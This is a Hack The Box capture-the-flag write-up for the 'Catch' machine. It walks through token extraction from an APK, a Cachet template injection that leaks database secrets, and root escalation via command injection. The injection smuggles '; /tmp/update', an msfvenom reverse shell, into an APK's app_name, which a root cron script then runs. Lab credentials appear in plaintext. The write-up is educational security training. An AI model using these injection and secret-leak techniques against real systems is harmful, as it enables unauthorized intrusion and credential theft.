HTB Writeup: Catch

Gotta catch’em all!

Enumeration

nmap scan

Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-24 06:52 IST
Nmap scan report for 10.129.110.180 (10.129.110.180)
Host is up (0.075s latency).
Not shown: 65530 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18💿9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Catch Global Systems
|_http-server-header: Apache/2.4.41 (Ubuntu)
3000/tcp open  ppp?
| fingerprint-strings:
|   GenericLines, Help, RTSPRequest:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 200 OK
|     Content-Type: text/html; charset=UTF-8
|     Set-Cookie: i_like_gitea=3b61c94e9b073975; Path=/; HttpOnly
|     Set-Cookie: _csrf=98lxbQqSqGB59byymj9-oyafJ2Q6MTY1ODY0MTk2Nzk1NDIyNTI4Mw; Path=/; Expires=Mon, 25 Jul 2022 05:52:47 GMT; HttpOnly; SameSite=Lax
|     Set-Cookie: macaron_flash=; Path=/; Max-Age=0; HttpOnly
|     X-Frame-Options: SAMEORIGIN
|     Date: Sun, 24 Jul 2022 05:52:47 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-">
|     <head data-suburl="">
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title> Catch Repositories </title>
|     <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiQ2F0Y2ggUmVwb3NpdG9yaWVzIiwic2hvcnRfbmFtZSI6IkNhdGNoIFJlcG9zaXRvcmllcyIsInN0YXJ0X3VybCI6Imh0dHA6Ly9naXRlYS5jYXRjaC5odGI6MzAwMC8iLCJpY29ucyI6W3sic3JjIjoiaHR0cDovL2dpdGVhLmNhdGNoLmh0Yjoz
|   HTTPOptions:
|     HTTP/1.0 405 Method Not Allowed
|     Set-Cookie: i_like_gitea=20bcaa1920cf4d20; Path=/; HttpOnly
|     Set-Cookie: _csrf=zblYajujZzTYwX5RY5nH47XxdnE6MTY1ODY0MTk3MzM3NzcxMDkzOQ; Path=/; Expires=Mon, 25 Jul 2022 05:52:53 GMT; HttpOnly; SameSite=Lax
|     Set-Cookie: macaron_flash=; Path=/; Max-Age=0; HttpOnly
|     X-Frame-Options: SAMEORIGIN
|     Date: Sun, 24 Jul 2022 05:52:53 GMT
|_    Content-Length: 0
5000/tcp open  upnp?
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, RTSPRequest, SMBProgNeg, ZendJavaBridge:
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   GetRequest:
|     HTTP/1.1 302 Found
|     X-Frame-Options: SAMEORIGIN
|     X-Download-Options: noopen
|     X-Content-Type-Options: nosniff
|     X-XSS-Protection: 1; mode=block
|     Content-Security-Policy:
|     X-Content-Security-Policy:
|     X-WebKit-CSP:
|     X-UA-Compatible: IE=Edge,chrome=1
|     Location: /login
|     Vary: Accept, Accept-Encoding
|     Content-Type: text/plain; charset=utf-8
|     Content-Length: 28
|     Set-Cookie: connect.sid=s%3AtF8LQBJYoSDHUKMfts-fukRGGLJlM2fi.wgFn43xRoAqpx%2BVSob%2BcpEZHqZask0GdysfDhGjBKbg; Path=/; HttpOnly
|     Date: Sun, 24 Jul 2022 05:52:52 GMT
|     Connection: close
|     Found. Redirecting to /login
|   HTTPOptions:
|     HTTP/1.1 200 OK
|     X-Frame-Options: SAMEORIGIN
|     X-Download-Options: noopen
|     X-Content-Type-Options: nosniff
|     X-XSS-Protection: 1; mode=block
|     Content-Security-Policy:
|     X-Content-Security-Policy:
|     X-WebKit-CSP:
|     X-UA-Compatible: IE=Edge,chrome=1
|     Allow: GET,HEAD
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 8
|     ETag: W/"8-ZRAf8oNBS3Bjb/SU2GYZCmbtmXg"
|     Set-Cookie: connect.sid=s%3AWa_G-0BsXUMsRSHKmhMIvkddyZm5jHCX.LKLL34DXw%2BOQOz%2Fe9xUUINZB6ATqqCGmaQdgFSCNSCU; Path=/; HttpOnly
|     Vary: Accept-Encoding
|     Date: Sun, 24 Jul 2022 05:52:53 GMT
|     Connection: close
|_    GET,HEAD
8000/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Catch Global Systems
|_http-server-header: Apache/2.4.29 (Ubuntu)
  1. Three web applications, running at TCP/80, TCP/3000, TCP/5000, and TCP/8000.
    1. TCP/80

      Untitled

    2. TCP/3000

      Untitled

    3. TCP/5000

      Untitled

    4. TCP/8000

      Untitled

Web Enumeration

  1. On the website hosted at TCP/80, a download button is provided. It downloads an APK. catchv1.0.apk
  2. The TCP/5000 is a Let’s Chat IM application.
  3. TCP/8000 hosts Catchet Web application.

APK Analysis

  1. On static analysis of the APK using Mobile-Security-Framework-MobSF, an Authorization Token is found for Lets Chat Web application.

    Untitled

Initial Foothold

  1. Using the Let’s Chat Token and API Documentation , the chats can be retrieved.

    curl -H 'Authorization: Bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==' http://10.129.110.180:5000/rooms -so- | jq
    #[
    #  {
    #    "id": "61b86b28d984e2451036eb17",
    #    "slug": "status",
    #    "name": "Status",
    #    "description": "Cachet Updates and Maintenance",
    #    "lastActive": "2021-12-14T10:34:20.749Z",
    #    "created": "2021-12-14T10:00:08.384Z",
    #    "owner": "61b86aead984e2451036eb16",
    #    "private": false,
    #    "hasPassword": false,
    #    "participants": []
    #  },
    #  {
    #    "id": "61b8708efe190b466d476bfb",
    #    "slug": "android_dev",
    #    "name": "Android Development",
    #    "description": "Android App Updates, Issues & More",
    #    "lastActive": "2021-12-14T10:24:21.145Z",
    #    "created": "2021-12-14T10:23:10.474Z",
    #    "owner": "61b86aead984e2451036eb16",
    #    "private": false,
    #    "hasPassword": false,
    #    "participants": []
    #  },
    #  {
    #    "id": "61b86b3fd984e2451036eb18",
    #    "slug": "employees",
    #    "name": "Employees",
    #    "description": "New Joinees, Org updates",
    #    "lastActive": "2021-12-14T10:18:04.710Z",
    #    "created": "2021-12-14T10:00:31.043Z",
    #    "owner": "61b86aead984e2451036eb16",
    #    "private": false,
    #    "hasPassword": false,
    #    "participants": []
    #  }
    #]
    
    curl -H 'Authorization: Bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==' http://10.129.110.180:5000/rooms/status/messages -so- | jq
    [
      {
        "id": "61b8732cfe190b466d476c02",
        "text": "ah sure!",
        "posted": "2021-12-14T10:34:20.749Z",
        "owner": "61b86dbdfe190b466d476bf0",
        "room": "61b86b28d984e2451036eb17"
      },
      {
        "id": "61b8731ffe190b466d476c01",
        "text": "You should actually include this task to your list as well as a part of quarterly audit",
        "posted": "2021-12-14T10:34:07.449Z",
        "owner": "61b86aead984e2451036eb16",
        "room": "61b86b28d984e2451036eb17"
      },
      {
        "id": "61b872b9fe190b466d476c00",
        "text": "Also make sure we've our systems, applications and databases up-to-date.",
        "posted": "2021-12-14T10:32:25.514Z",
        "owner": "61b86dbdfe190b466d476bf0",
        "room": "61b86b28d984e2451036eb17"
      },
      {
        "id": "61b87282fe190b466d476bff",
        "text": "Excellent! ",
        "posted": "2021-12-14T10:31:30.403Z",
        "owner": "61b86aead984e2451036eb16",
        "room": "61b86b28d984e2451036eb17"
      },
      {
        "id": "61b87277fe190b466d476bfe",
        "text": "Why not. We've this in our todo list for next quarter",
        "posted": "2021-12-14T10:31:19.094Z",
        "owner": "61b86dbdfe190b466d476bf0",
        "room": "61b86b28d984e2451036eb17"
      },
      {
        "id": "61b87241fe190b466d476bfd",
        "text": "@john is it possible to add SSL to our status domain to make sure everything is secure ? ",
        "posted": "2021-12-14T10:30:25.108Z",
        "owner": "61b86aead984e2451036eb16",
        "room": "61b86b28d984e2451036eb17"
      },
      {
        "id": "61b8702dfe190b466d476bfa",
        "text": "Here are the credentials `john :  E}V!mywu_69T4C}W`",
        "posted": "2021-12-14T10:21:33.859Z",
        "owner": "61b86f15fe190b466d476bf5",
        "room": "61b86b28d984e2451036eb17"
      },
      {
        "id": "61b87010fe190b466d476bf9",
        "text": "Sure one sec.",
        "posted": "2021-12-14T10:21:04.635Z",
        "owner": "61b86f15fe190b466d476bf5",
        "room": "61b86b28d984e2451036eb17"
      },
      {
        "id": "61b86fb1fe190b466d476bf8",
        "text": "Can you create an account for me ? ",
        "posted": "2021-12-14T10:19:29.677Z",
        "owner": "61b86dbdfe190b466d476bf0",
        "room": "61b86b28d984e2451036eb17"
      },
      {
        "id": "61b86f4dfe190b466d476bf6",
        "text": "Hey Team! I'll be handling the `status.catch.htb` from now on. Lemme know if you need anything from me. ",
        "posted": "2021-12-14T10:17:49.761Z",
        "owner": "61b86f15fe190b466d476bf5",
        "room": "61b86b28d984e2451036eb17"
      }
    ]
       
    
  2. There are credentials in the messages found in the room status, which says those are used for status.catch.htb. TCP/8000 hosts a Cachet web application which is used for status monitoring and updates. john:E}V!mywu_69T4C}W

User Access

Cachet Monitoring Application

  1. The login page for the web application is found at http://<IP>:8000/dashboard → http://<IP>:8000/auth/login

  2. The credentials from the lets chat works.

    Untitled

  3. The Settings tab shows the version 2.4.0-dev. This version of Cachet is vulnerable to template injection. The secrets from the .env file can be leaked using valid configuration variable in place of already configured variable. For instance, changing Mail From Address option under Settings -> Mail.

    1. ${APP_KEY} → Gives base64 encoded Application Secret variable.

    2. ${DB_USERNAME} → Gives database username

    3. ${DB_PASSWORD} → Gives database password

      https://www.notion.so

  4. The DB_USERNAME and DB_PASSWORD reveals credential: will:s2#4Fg0_%3!

    Untitled

  5. The credentials worked with SSH.

    Untitled

Privilege Escalation

Enumeration

  1. Basic enumeration using linpeas reveals a folder mdm under /opt directory.

  2. On process monitoring using PSPY64, the root is running /opt/mdm/verify.sh on a regular interval.

    Untitled

  3. The contents of verify.sh

    #!/bin/bash
       
    ###################
    # Signature Check #
    ###################
       
    sig_check() {
            jarsigner -verify "$1/$2" 2>/dev/null >/dev/null
            if [[ $? -eq 0 ]]; then
                    echo '[+] Signature Check Passed'
            else
                    echo '[!] Signature Check Failed. Invalid Certificate.'
                    cleanup
                    exit
            fi
    }
       
    #######################
    # Compatibility Check #
    #######################
       
    comp_check() {
            apktool d -s "$1/$2" -o $3 2>/dev/null >/dev/null
            COMPILE_SDK_VER=$(grep -oPm1 "(?<=compileSdkVersion=\")[^\"]+" "$PROCESS_BIN/AndroidManifest.xml")
            if [ -z "$COMPILE_SDK_VER" ]; then
                    echo '[!] Failed to find target SDK version.'
                    cleanup
                    exit
            else
                    if [ $COMPILE_SDK_VER -lt 18 ]; then
                            echo "[!] APK Doesn't meet the requirements"
                            cleanup
                            exit
                    fi
            fi
    }
       
    ####################
    # Basic App Checks #
    ####################
       
    app_check() {
            APP_NAME=$(grep -oPm1 "(?<=<string name=\"app_name\">)[^<]+" "$1/res/values/strings.xml")
            echo $APP_NAME
            if [[ $APP_NAME == *"Catch"* ]]; then
                    echo -n $APP_NAME|xargs -I {} sh -c 'mkdir {}'
                    mv "$3/$APK_NAME" "$2/$APP_NAME/$4"
            else
                    echo "[!] App doesn't belong to Catch Global"
                    cleanup
                    exit
            fi
    }
       
    ###########
    # Cleanup #
    ###########
       
    cleanup() {
            rm -rf $PROCESS_BIN;rm -rf "$DROPBOX/*" "$IN_FOLDER/*";rm -rf $(ls -A /opt/mdm | grep -v apk_bin | grep -v verify.sh)
    }
       
    ###################
    # MDM CheckerV1.0 #
    ###################
       
    DROPBOX=/opt/mdm/apk_bin
    IN_FOLDER=/root/mdm/apk_bin
    OUT_FOLDER=/root/mdm/certified_apps
    PROCESS_BIN=/root/mdm/process_bin
       
    for IN_APK_NAME in $DROPBOX/*.apk;do
            OUT_APK_NAME="$(echo ${IN_APK_NAME##*/} | cut -d '.' -f1)_verified.apk"
            APK_NAME="$(openssl rand -hex 12).apk"
            if [[ -L "$IN_APK_NAME" ]]; then
                    exit
            else
                    mv "$IN_APK_NAME" "$IN_FOLDER/$APK_NAME"
            fi
            sig_check $IN_FOLDER $APK_NAME
            comp_check $IN_FOLDER $APK_NAME $PROCESS_BIN
            app_check $PROCESS_BIN $OUT_FOLDER $IN_FOLDER $OUT_APK_NAME
    done
    cleanup
       
    
  4. After looking at the bash script, it is found that the line echo -n $APP_NAME|xargs -I {} sh -c 'mkdir {}' is vulnerable to command injection.

    1. The variable $APP_NAME is being set by reading the <string name="app_name"> key from res/values/strings.xml file from the APK placed in the folder /opt/mdm/apk_bin

    2. The variable is then passed to xargs which passes it to sh -c 'mkdir {} to create directory with same name as the application.

    3. The flaw is, that there is not enough sanitization of the app name being done. It only checks if the application name starts with Catch*

      And hence, if an attacker can add ; <command> to the application name, a code execution can be achieved. To do this there are 2 possible ways:

      1. Use an existing app and decompile it, make changes to res/values/strings.xml and recompile and resign the APK file.
      2. Create a new blank app with setting the app_name key as payload.
  5. Decompiling and recompiling an existing app is less resource intensive and won’t take much time.

  6. For de-compilation and recompiling, apktool suite can be used and to re-sign, sign or apk-resigner can be used.

Exploitation

  1. The previously downloaded APK is decompiled using apktool

    apktool d ./catchv1.0.apk
    

    Untitled

  2. The app_name key’s value is set to Catch; /tmp/update, where /tmp/update is a reverse shell executable generated using msfvenom

    Untitled

  3. Recompile the app using apktool.

    apktool b ./catchv1.0.apk -o ./catchv1.1.apk
    

Untitled

  1. The application is then resigned using sign

    sign `pwd`/catchv1.1.apk
    
  2. The malicious APK is now stored as catchv1.1.s.apk in the same directory. The APK is then to be placed in /opt/mdm/apk_bin/ after starting a listener on local machine.

    Untitled

    Untitled

The remote host is now completely compromised.

Avatar
Mayank Malik
ISC2 CC | CRTP | Incident Response | Synack Red Team Member | Threat and Malware Analyst | Security Researcher

I am a tech-savvy person, Red Team Enthusiast, and like to wander around to learn new stuff. Malware Analysis, Cryptography, Networking, and System Administration are some of my forte. One of the Founding Members of CTF Team, Abs0lut3Pwn4g3. Apart from the mentioned skills, I’m good at communication skills and am a goal-driven person. Yellow belt holder at pwn.college in pursuit of learning and achieving Blue Belt.

Related